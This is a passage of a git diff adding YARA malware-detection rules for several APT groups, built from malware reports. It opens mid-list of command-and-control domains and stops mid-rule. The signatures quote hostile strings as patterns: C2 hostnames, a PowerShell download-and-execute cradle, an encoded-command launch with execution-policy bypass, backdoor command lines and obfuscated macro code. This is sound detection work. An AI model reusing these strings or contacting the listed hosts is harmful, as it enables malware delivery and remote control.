+      $c2_1360 = "yeap1.jumpingcrab.com" ascii
+      $c2_1361 = "yfrfyhf.youdontcare.com" ascii
+      $c2_1362 = "yo.acmetoy.com" ascii
+      $c2_1363 = "za.myftp.info" ascii
+      $c2_1364 = "zabbix.servercontrols.pw" ascii
+      $c2_1365 = "zaigawebinfo.rebatesrule.net" ascii
+      $c2_1367 = "zebra.UsFfUnicef.com" ascii
+      $c2_1368 = "zebra.bdoncloud.com" ascii
+      $c2_1369 = "zebra.incloud-go.com" ascii
+      $c2_1370 = "zebra.unhamj.com" ascii
+      $c2_1371 = "zebra.wthelpdesk.com" ascii
+      $c2_1372 = "zero.pcanywhere.net" ascii
+      $c2_1373 = "zg.ns02.biz" ascii
+      $c2_1374 = "zone.demoones.com" ascii
+   condition:
+      1 of ($c2_*)
+}
+*/
+
+rule APT_APT10_Malware_Imphash_Dec18_1 {
+   meta:
+      description = "Detects APT10 malware based on ImpHashes"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "AlienVault OTX IOCs - statistical sample analysis"
+      date = "2018-12-28"
+      id = "2de195a3-63a4-50ac-a83d-ab0db0f784bf"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 6000KB and (
+         pe.imphash() == "0556ff5e5f8744bff47d4921494ba46d" or
+         pe.imphash() == "cb1194123f68a68eb14552c085b620ce" or
+         pe.imphash() == "efad9ff8c0d2a6419bf1dd970bcd806d" or
+         pe.imphash() == "7a861cd9c495e1d950a43cb708a22985" or
+         pe.imphash() == "a5d0545030be75a421529c2b0be6c4bd" or
+         pe.imphash() == "94491f4a812b0297419dc888aa4fd2a5"
+      )
+}
diff --git a/yara-Neo23x0/apt_apt10_redleaves.yar b/yara-Neo23x0/apt_apt10_redleaves.yar
new file mode 100644
index 0000000..3b163d3
--- /dev/null
+++ b/yara-Neo23x0/apt_apt10_redleaves.yar
@@ -0,0 +1,48 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-05-01
+   Identifier: APT10 / Hogfish Report
+   Reference: https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule MAL_Hogfish_Report_Related_Sample {
+   meta:
+      description = "Detects APT10 / Hogfish related samples"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
+      date = "2018-05-01"
+      hash1 = "f9acc706d7bec10f88f9cfbbdf80df0d85331bd4c3c0188e4d002d6929fe4eac"
+      hash2 = "7188f76ca5fbc6e57d23ba97655b293d5356933e2ab5261e423b3f205fe305ee"
+      hash3 = "4de5a22cd798950a69318fdcc1ec59e9a456b4e572c2d3ac4788ee96a4070262"
+      id = "7fc4fdda-b71f-5c9c-87a4-5d8290b99348"
+   strings:
+      $s1 = "R=user32.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         pe.imphash() == "efad9ff8c0d2a6419bf1dd970bcd806d" or
+         1 of them
+      )
+}
+
+rule MAL_RedLeaves_Apr18_1 {
+   meta:
+      description = "Detects RedLeaves malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.accenture.com/t20180423T055005Z__w__/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
+      date = "2018-05-01"
+      hash1 = "f6449e255bc1a9d4a02391be35d0dd37def19b7e20cfcc274427a0b39cb21b7b"
+      hash2 = "db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d"
+      hash3 = "d956e2ff1b22ccee2c5d9819128103d4c31ecefde3ce463a6dea19ecaaf418a1"
+      id = "578b40d7-6818-56d5-92ce-535141c0aa8e"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         pe.imphash() == "7a861cd9c495e1d950a43cb708a22985" or
+         pe.imphash() == "566a7a4ef613a797389b570f8b4f79df"
+      )
+}
diff --git a/yara-Neo23x0/apt_apt12_malware.yar b/yara-Neo23x0/apt_apt12_malware.yar
new file mode 100644
index 0000000..d8d7f79
--- /dev/null
+++ b/yara-Neo23x0/apt_apt12_malware.yar
@@ -0,0 +1,25 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-30
+   Identifier: APT 12 Japanese Incident
+   Reference: http://blog.macnica.net/blog/2017/08/post-fb81.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT12_Malware_Aug17 {
+   meta:
+      description = "Detects APT 12 Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.macnica.net/blog/2017/08/post-fb81.html"
+      date = "2017-08-30"
+      hash1 = "dc7521c00ec2534cf494c0263ddf67ea4ba9915eb17bdc0b3ebe9e840ec63643"
+      hash2 = "42da51b69bd6625244921a4eef9a2a10153e012a3213e8e9877cf831aea3eced"
+      id = "6c9cd68f-b839-5c99-a9f5-14c2d8a28bec"
+   condition:
+      ( uint16(0) == 0x5a4d and pe.imphash() == "9ba915fd04f248ad62e856c7238c0264" )
+}
diff --git a/yara-Neo23x0/apt_apt15.yar b/yara-Neo23x0/apt_apt15.yar
new file mode 100644
index 0000000..cd95357
--- /dev/null
+++ b/yara-Neo23x0/apt_apt15.yar
@@ -0,0 +1,307 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-03-10
+   Identifier: APT15 Report
+   Reference: https://goo.gl/HZ5XMN
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT15_Malware_Mar18_RoyalCli {
+   meta:
+      description = "Detects malware from APT 15 report by NCC Group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HZ5XMN"
+      date = "2018-03-10"
+      hash1 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
+      id = "165bfa6c-1a8d-5628-8c35-da4e4a2ae04f"
+   strings:
+      $s1 = "\\Release\\RoyalCli.pdb" ascii
+      $s2 = "%snewcmd.exe" fullword ascii
+      $s3 = "Run cmd error %d" fullword ascii
+      $s4 = "%s~clitemp%08x.ini" fullword ascii
+      $s5 = "run file failed" fullword ascii
+      $s6 = "Cmd timeout %d" fullword ascii
+      $s7 = "2 %s  %d 0 %d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule APT15_Malware_Mar18_RoyalDNS {
+   meta:
+      description = "Detects malware from APT 15 report by NCC Group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HZ5XMN"
+      date = "2018-03-10"
+      hash1 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
+      id = "c2f519db-2750-53ce-ae18-697ea041faaf"
+   strings:
+      $x1 = "del c:\\windows\\temp\\r.exe /f /q" fullword ascii
+      $x2 = "%s\\r.exe" fullword ascii
+
+      $s1 = "rights.dll" fullword ascii
+      $s2 = "\"%s\">>\"%s\"\\s.txt" fullword ascii
+      $s3 = "Nwsapagent" fullword ascii
+      $s4 = "%s\\r.bat" fullword ascii
+      $s5 = "%s\\s.txt" fullword ascii
+      $s6 = "runexe" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+        ( pe.exports("RunInstallA") and pe.exports("RunUninstallA") ) or
+        1 of ($x*) or
+        2 of them
+      )
+}
+
+rule APT15_Malware_Mar18_BS2005 {
+   meta:
+      description = "Detects malware from APT 15 report by NCC Group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HZ5XMN"
+      date = "2018-03-10"
+      hash1 = "750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b"
+      id = "700bbe14-d79e-5a35-aab3-31eacd5bd950"
+   strings:
+      $x1 = "AAAAKQAASCMAABi+AABnhEBj8vep7VRoAEPRWLweGc0/eiDrXGajJXRxbXsTXAcZAABK4QAAPWwAACzWAAByrg==" fullword ascii
+      $x2 = "AAAAKQAASCMAABi+AABnhKv3kXJJousn5YzkjGF46eE3G8ZGse4B9uoqJo8Q2oF0AABK4QAAPWwAACzWAAByrg==" fullword ascii
+
+      $a1 = "http://%s/content.html?id=%s" fullword ascii
+      $a2 = "http://%s/main.php?ssid=%s" fullword ascii
+      $a3 = "http://%s/webmail.php?id=%s" fullword ascii
+      $a9 = "http://%s/error.html?tab=%s" fullword ascii
+
+      $s1 = "%s\\~tmp.txt" fullword ascii
+      $s2 = "%s /C %s >>\"%s\" 2>&1" fullword ascii
+      $s3 = "DisableFirstRunCustomize" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         1 of ($x*) or
+         2 of them
+      )
+}
+
+rule APT15_Malware_Mar18_MSExchangeTool {
+   meta:
+      description = "Detects malware from APT 15 report by NCC Group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/HZ5XMN"
+      date = "2018-03-10"
+      hash1 = "16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce"
+      id = "81b826b6-8c2e-5a8a-a626-9515d40dbbb0"
+   strings:
+      $s1 = "\\Release\\EWSTEW.pdb" ascii
+      $s2 = "EWSTEW.exe" fullword wide
+      $s3 = "Microsoft.Exchange.WebServices.Data" fullword ascii
+      $s4 = "tmp.dat" fullword wide
+      $s6 = "/v or /t is null" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+/*
+   Identifier: APT15 = Mirage = Ke3chang
+   Author: NCCGroup
+           Revised by Florian Roth for performance reasons
+           see https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7
+           > some rules were untightened
+   Date: 2018-03-09
+   Reference: https://github.com/nccgroup/Royal_APT/blob/master/signatures/apt15.yara
+*/
+
+rule clean_apt15_patchedcmd{
+   meta:
+      author = "Ahmed Zaki"
+      description = "This is a patched CMD. This is the CMD that RoyalCli uses."
+      sha256 = "90d1f65cfa51da07e040e066d4409dc8a48c1ab451542c894a623bc75c14bf8f"
+      id = "c6867ad4-f7f2-5d63-bffd-07599ede635d"
+   strings:
+      $ = "eisableCMD" wide
+      $ = "%WINDOWS_COPYRIGHT%" wide
+      $ = "Cmd.Exe" wide
+      $ = "Windows Command Processor" wide
+   condition:
+      uint16(0) == 0x5A4D and all of them
+}
+
+rule malware_apt15_royalcli_1{
+   meta:
+      description = "Generic strings found in the Royal CLI tool"
+      author = "David Cannings"
+      sha256 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
+      id = "432c09bf-3c44-5a2c-ba69-7b4fe7eb43cc"
+   strings:
+      $ = "%s~clitemp%08x.tmp" fullword
+      $ = "%s /c %s>%s" fullword
+      $ = "%snewcmd.exe" fullword
+      $ = "%shkcmd.exe" fullword
+      $ = "%s~clitemp%08x.ini" fullword
+      $ = "myRObject" fullword
+      $ = "myWObject" fullword
+      $ = "2 %s  %d 0 %d\x0D\x0A"
+      $ = "2 %s  %d 1 %d\x0D\x0A"
+      $ = "%s file not exist" fullword
+   condition:
+      uint16(0) == 0x5A4D and 5 of them
+}
+
+rule malware_apt15_royalcli_2{
+   meta:
+      author = "Nikolaos Pantazopoulos"
+      description = "APT15 RoyalCli backdoor"
+      id = "d4acfd2d-385d-5063-898e-d339b50733eb"
+   strings:
+      $string1 = "%shkcmd.exe" fullword
+      $string2 = "myRObject" fullword
+      $string3 = "%snewcmd.exe" fullword
+      $string4 = "%s~clitemp%08x.tmp" fullword
+      $string6 = "myWObject" fullword
+   condition:
+      uint16(0) == 0x5A4D and 2 of them
+}
+
+/*
+rule malware_apt15_bs2005{
+   meta:
+      author = "Ahmed Zaki"
+      md5 = "ed21ce2beee56f0a0b1c5a62a80c128b"
+      description = "APT15 bs2005"
+   strings:
+      $ = "%s&%s&%s&%s" wide ascii
+      $ = "%s\\%s" wide ascii fullword
+      $ = "WarOnPostRedirect"  wide ascii fullword
+      $ = "WarnonZoneCrossing"  wide ascii fullword
+      $ = "^^^^^" wide ascii fullword
+      $ =  /"?%s\s*"?\s*\/C\s*"?%s\s*>\s*\\?"?%s\\(\w+\.\w+)?"\s*2>&1\s*"?/
+      $ ="IEharden" wide ascii fullword
+      $ ="DEPOff" wide ascii fullword
+      $ ="ShownVerifyBalloon" wide ascii fullword
+      $ ="IEHardenIENoWarn" wide ascii fullword
+   condition:
+      ( uint16(0) == 0x5A4D and 5 of them ) or
+      ( uint16(0) == 0x5A4D and 3 of them and
+            ( pe.imports("advapi32.dll", "CryptDecrypt") and pe.imports("advapi32.dll", "CryptEncrypt") and
+              pe.imports("ole32.dll", "CoCreateInstance")
+            )
+      )
+}
+*/
+
+rule malware_apt15_royaldll {
+   meta:
+      author = "David Cannings"
+      description = "DLL implant, originally rights.dll and runs as a service"
+      sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
+      id = "26baef92-1055-56dc-b274-e2a6bc05d85b"
+   strings:
+      /*
+      56                push    esi
+      B8 A7 C6 67 4E    mov     eax, 4E67C6A7h
+      83 C1 02          add     ecx, 2
+      BA 04 00 00 00    mov     edx, 4
+      57                push    edi
+      90                nop
+      */
+      // JSHash implementation (Justin Sobel's hash algorithm)
+      $opcodes_jshash = { B8 A7 C6 67 4E 83 C1 02 BA 04 00 00 00 57 90 }
+
+      /*
+      0F B6 1C 03       movzx   ebx, byte ptr [ebx+eax]
+      8B 55 08          mov     edx, [ebp+arg_0]
+      30 1C 17          xor     [edi+edx], bl
+      47                inc     edi
+      3B 7D 0C          cmp     edi, [ebp+arg_4]
+      72 A4             jb      short loc_10003F31
+      */
+      // Encode loop, used to "encrypt" data before DNS request
+      $opcodes_encode = { 0F B6 1C 03 8B 55 08 30 1C 17 47 3B 7D 0C }
+
+      /*
+      68 88 13 00 00    push    5000 # Also seen 3000, included below
+      FF D6             call    esi ; Sleep
+      4F                dec     edi
+      75 F6             jnz     short loc_10001554
+      */
+      // Sleep loop
+      $opcodes_sleep_loop = { 68 (88|B8) (13|0B) 00 00 FF D6 4F 75 F6 }
+
+      // Generic strings
+      $ = "Nwsapagent" fullword
+      $ = "\"%s\">>\"%s\"\\s.txt"
+      $ = "myWObject" fullword
+      $ = "del c:\\windows\\temp\\r.exe /f /q"
+      $ = "del c:\\windows\\temp\\r.ini /f /q"
+
+   condition:
+      3 of them
+}
+
+rule malware_apt15_royaldll_2 {
+   meta:
+      author = "Ahmed Zaki"
+      sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
+      description = "DNS backdoor used by APT15"
+      id = "3bc546a5-38b9-5504-b09e-305ba7bbd6bc"
+   strings:
+      $= "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" wide ascii
+      $= "netsvcs" wide ascii fullword
+      $= "%SystemRoot%\\System32\\svchost.exe -k netsvcs" wide ascii fullword
+      $= "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
+      $= "myWObject" wide ascii
+   condition:
+      uint16(0) == 0x5A4D and all of them
+      and pe.exports("ServiceMain")
+      and filesize > 50KB and filesize < 600KB
+}
+
+rule malware_apt15_exchange_tool {
+   meta:
+      author = "Ahmed Zaki"
+      md5 = "d21a7e349e796064ce10f2f6ede31c71"
+      description = "This is a an exchange enumeration/hijacking tool used by an APT 15"
+      id = "f07b9537-0741-51c8-a9fa-836430fe4855"
+   strings:
+      $s1= "subjectname" fullword
+      $s2= "sendername" fullword
+      $s3= "WebCredentials" fullword
+      $s4= "ExchangeVersion" fullword
+      $s5= "ExchangeCredentials" fullword
+      $s6= "slfilename" fullword
+      $s7= "EnumMail" fullword
+      $s8= "EnumFolder" fullword
+      $s9= "set_Credentials" fullword
+      $s18 = "/v or /t is null" wide
+      $s24 = "2013sp1" wide
+   condition:
+      uint16(0) == 0x5A4D and all of them
+}
+
+rule malware_apt15_generic {
+   meta:
+      author = "David Cannings"
+      description = "Find generic data potentially relating to AP15 tools"
+      id = "4eb50731-22df-5f7a-bf5f-166ef84cf8b5"
+   strings:
+       // Appears to be from copy/paste code
+       $str01 = "myWObject" fullword
+       $str02 = "myRObject" fullword
+
+       /*
+         6A 02             push    2               ; dwCreationDisposition
+         6A 00             push    0               ; lpSecurityAttributes
+         6A 00             push    0               ; dwShareMode
+         68 00 00 00 C0    push    0C0000000h      ; dwDesiredAccess
+         50                push    eax             ; lpFileName
+         FF 15 44 F0 00 10 call    ds:CreateFileA
+       */
+       // Arguments for CreateFileA
+       $opcodes01 = { 6A (02|03) 6A 00 6A 00 68 00 00 00 C0 50 FF 15 }
+   condition:
+      2 of them
+}
diff --git a/yara-Neo23x0/apt_apt17_mal_sep17.yar b/yara-Neo23x0/apt_apt17_mal_sep17.yar
new file mode 100644
index 0000000..8216068
--- /dev/null
+++ b/yara-Neo23x0/apt_apt17_mal_sep17.yar
@@ -0,0 +1,107 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-03
+   Identifier: APT17 Oct 10
+   Reference: https://goo.gl/puVc9q
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT17_Malware_Oct17_1 {
+   meta:
+      description = "Detects APT17 malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/puVc9q"
+      date = "2017-10-03"
+      hash1 = "dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83"
+      id = "457312d8-5bfe-5282-9ace-2f169278569c"
+   strings:
+      $s1 = "\\spool\\prtprocs\\w32x86\\localspl.dll" ascii
+      $s2 = "\\spool\\prtprocs\\x64\\localspl.dll" ascii
+      $s3 = "\\msvcrt.dll" ascii
+      $s4 = "\\TSMSISrv.dll" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and all of them )
+}
+
+rule APT17_Malware_Oct17_2 {
+   meta:
+      description = "Detects APT17 malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/puVc9q"
+      date = "2017-10-03"
+      hash1 = "20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27"
+      id = "9f21514a-168b-5158-8322-60fa8499b11a"
+   strings:
+      $x1 = "Cookie: __xsptplus=%s" fullword ascii
+      $x2 = "http://services.fiveemotions.co.jp" fullword ascii
+      $x3 = "http://%s/ja-JP/2015/%d/%d/%d%d%d%d%d%d%d%d.gif" fullword ascii
+
+      $s1 = "FoxHTTPClient_EXE_x86.exe" fullword ascii
+      $s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3072" ascii
+      $s3 = "hWritePipe2 Error:%d" fullword ascii
+      $s4 = "Not Support This Function!" fullword ascii
+      $s5 = "Global\\PnP_No_Management" fullword ascii
+      $s6 = "Content-Type: image/x-png" fullword ascii
+      $s7 = "Accept-Language: ja-JP" fullword ascii
+      $s8 = "IISCMD Error:%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+         pe.exports("_foo@0") or
+         1 of ($x*) or
+         6 of them
+      )
+}
+
+rule APT17_Unsigned_Symantec_Binary_EFA {
+   meta:
+      description = "Detects APT17 malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/puVc9q"
+      date = "2017-10-03"
+      hash1 = "128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f"
+      id = "56eec517-8b00-5cb5-9806-249e50f53b99"
+   strings:
+      $s1 = "Copyright (c) 2007 - 2011 Symantec Corporation" fullword wide
+      $s2 = "\\\\.\\SYMEFA" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them and pe.number_of_signatures == 0 )
+}
+
+rule APT17_Malware_Oct17_Gen {
+   meta:
+      description = "Detects APT17 malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/puVc9q"
+      date = "2017-10-03"
+      hash1 = "0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2"
+      hash2 = "07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d"
+      hash3 = "ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550"
+      id = "c2156e68-d5b5-5bd7-858c-2d5e90199287"
+   strings:
+      $x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)" fullword ascii
+      $x2 = "http://%s/imgres?q=A380&hl=en-US&sa=X&biw=1440&bih=809&tbm=isus&tbnid=aLW4-J8Q1lmYBM" ascii
+
+      $s1 = "hWritePipe2 Error:%d" fullword ascii
+      $s2 = "Not Support This Function!" fullword ascii
+      $s3 = "Cookie: SESSIONID=%s" fullword ascii
+      $s4 = "http://0.0.0.0/1" fullword ascii
+      $s5 = "Content-Type: image/x-png" fullword ascii
+      $s6 = "Accept-Language: en-US" fullword ascii
+      $s7 = "IISCMD Error:%d" fullword ascii
+      $s8 = "[IISEND=0x%08X][Recv:] 0x%08X %s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and (
+            pe.imphash() == "414bbd566b700ea021cfae3ad8f4d9b9" or
+            1 of ($x*) or
+            6 of them
+         )
+      )
+}
diff --git a/yara-Neo23x0/apt_apt17_malware.yar b/yara-Neo23x0/apt_apt17_malware.yar
new file mode 100644
index 0000000..bd40117
--- /dev/null
+++ b/yara-Neo23x0/apt_apt17_malware.yar
@@ -0,0 +1,36 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-14
+	Identifier: APT17
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT17_Sample_FXSST_DLL {
+	meta:
+		description = "Detects Samples related to APT17 activity - file FXSST.DLL"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/ZiJyQv"
+		date = "2015-05-14"
+		hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
+		id = "e4b9b25e-8895-5ba5-b706-bfb6892c16ae"
+	strings:
+		$x1 = "Microsoft? Windows? Operating System" fullword wide
+		$x2 = "fxsst.dll" fullword ascii
+
+		$y1 = "DllRegisterServer" fullword ascii
+		$y2 = ".cSV" fullword ascii
+
+		$s1 = "GetLastActivePopup"
+		$s2 = "Sleep"
+		$s3 = "GetModuleFileName"
+		$s4 = "VirtualProtect"
+		$s5 = "HeapAlloc"
+		$s6 = "GetProcessHeap"
+		$s7 = "GetCommandLine"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and
+			( all of ($x*) or all of ($y*) ) and all of ($s*)
+}
diff --git a/yara-Neo23x0/apt_apt19.yar b/yara-Neo23x0/apt_apt19.yar
new file mode 100644
index 0000000..c527edd
--- /dev/null
+++ b/yara-Neo23x0/apt_apt19.yar
@@ -0,0 +1,69 @@
+
+/*
+   Yara Rule Set
+   Author: Ian.Ahl@fireeye.com @TekDefense, modified by Florian Roth
+   Date: 2017-06-05
+   Identifier: APT19
+   Reference: https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
+*/
+
+rule Beacon_K5om {
+   meta:
+      description = "Detects Meterpreter Beacon - file K5om.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
+      date = "2017-06-07"
+      hash1 = "e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9"
+      id = "9354d20a-d798-55bf-a735-820f21d4a861"
+   strings:
+      $x1 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+      $x2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+      $x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+
+      $s1 = "Could not open process token: %d (%u)" fullword ascii
+      $s2 = "0fd00b.dll" fullword ascii
+      $s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
+      $s4 = "Could not connect to pipe (%s): %d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 3 of them ) )
+}
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FE_LEGALSTRIKE_MACRO {
+   meta:
+      version=".1"
+      filetype="MACRO"
+      author="Ian.Ahl@fireeye.com @TekDefense - modified by Florian Roth"
+      date="2017-06-02"
+      description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
+      id = "eb15e5aa-16e5-5c07-a293-ad15c0c09d8e"
+   strings:
+      // OBSFUCATION
+      $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
+      // wscript
+      $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
+      $wsobj2 = "Obj.Run " ascii wide
+   condition:
+      all of them
+}
+
+rule FE_LEGALSTRIKE_RTF {
+   meta:
+      version=".1"
+      filetype="MACRO"
+      author="joshua.kim@FireEye. - modified by Florian Roth"
+      date="2017-06-02"
+      description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
+      id = "b62ceffa-445f-517e-b86b-56e47876c6c0"
+   strings:
+      $lnkinfo = "4c0069006e006b0049006e0066006f"
+      $encoded1 = "4f4c45324c696e6b"
+      $encoded2 = "52006f006f007400200045006e007400720079"
+      $encoded3 = "4f0062006a0049006e0066006f"
+      $encoded4 = "4f006c0065"
+      $datastore = "\\*\\datastore"
+   condition:
+      uint32be(0) == 0x7B5C7274 and all of them
+}
diff --git a/yara-Neo23x0/apt_apt27_hyperbro.yar b/yara-Neo23x0/apt_apt27_hyperbro.yar
new file mode 100644
index 0000000..9413f31
--- /dev/null
+++ b/yara-Neo23x0/apt_apt27_hyperbro.yar
@@ -0,0 +1,389 @@
+import "pe"
+
+rule APT_RU_APT27_HyperBro_Vftrace_Loader_Jan22_1 {
+    meta:
+        description = "Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll. Detects decoding function."
+        author = "Bundesamt fuer Verfassungsschutz (modified by Florian Roth)"
+        date = "2022-01-14"
+        sharing = "TLP:WHITE"
+        reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
+        hash1 = "333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A"
+        id = "b049e163-2694-5fb9-a3a3-98cc77bcd0ca"
+    strings:
+        $decoder_routine = { 8A ?? 41 10 00 00 8B ?? 28 ?? ?? 4? 3B ?? 72 ?? }
+    condition:
+        uint16(0) == 0x5a4d and
+        filesize < 5MB and
+        $decoder_routine and 
+        pe.exports("D_C_Support_SetD_File")
+}
+
+rule APT_CN_APT27_Compromised_Certficate_Jan22_1 {
+   meta:
+      description = "Detects compromised certifcates used by APT27 malware"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2022-01-29"
+      score = 80
+      reference = "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf"
+      id = "f2f015af-219d-51ab-9529-01687a879ebb"
+   condition:
+      for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].issuer contains "DigiCert SHA2 Assured ID Code Signing CA" and
+         pe.signatures[i].serial == "08:68:70:51:50:f1:cf:c1:fc:c3:fc:91:a4:49:49:a6"
+   )
+}
+rule HvS_APT27_HyperBro_Decrypted_Stage2 {
+   meta:
+      description = "HyperBro Stage 2 and compressed Stage 3 detection"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      author = "Moritz Oettle"
+      reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27"
+      date = "2022-02-07"
+      hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed"
+      id = "039e5d41-eadb-5c53-82cd-20ffd4105326"
+   strings:
+      $lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 } // This is the lznt1 compressed PE header
+
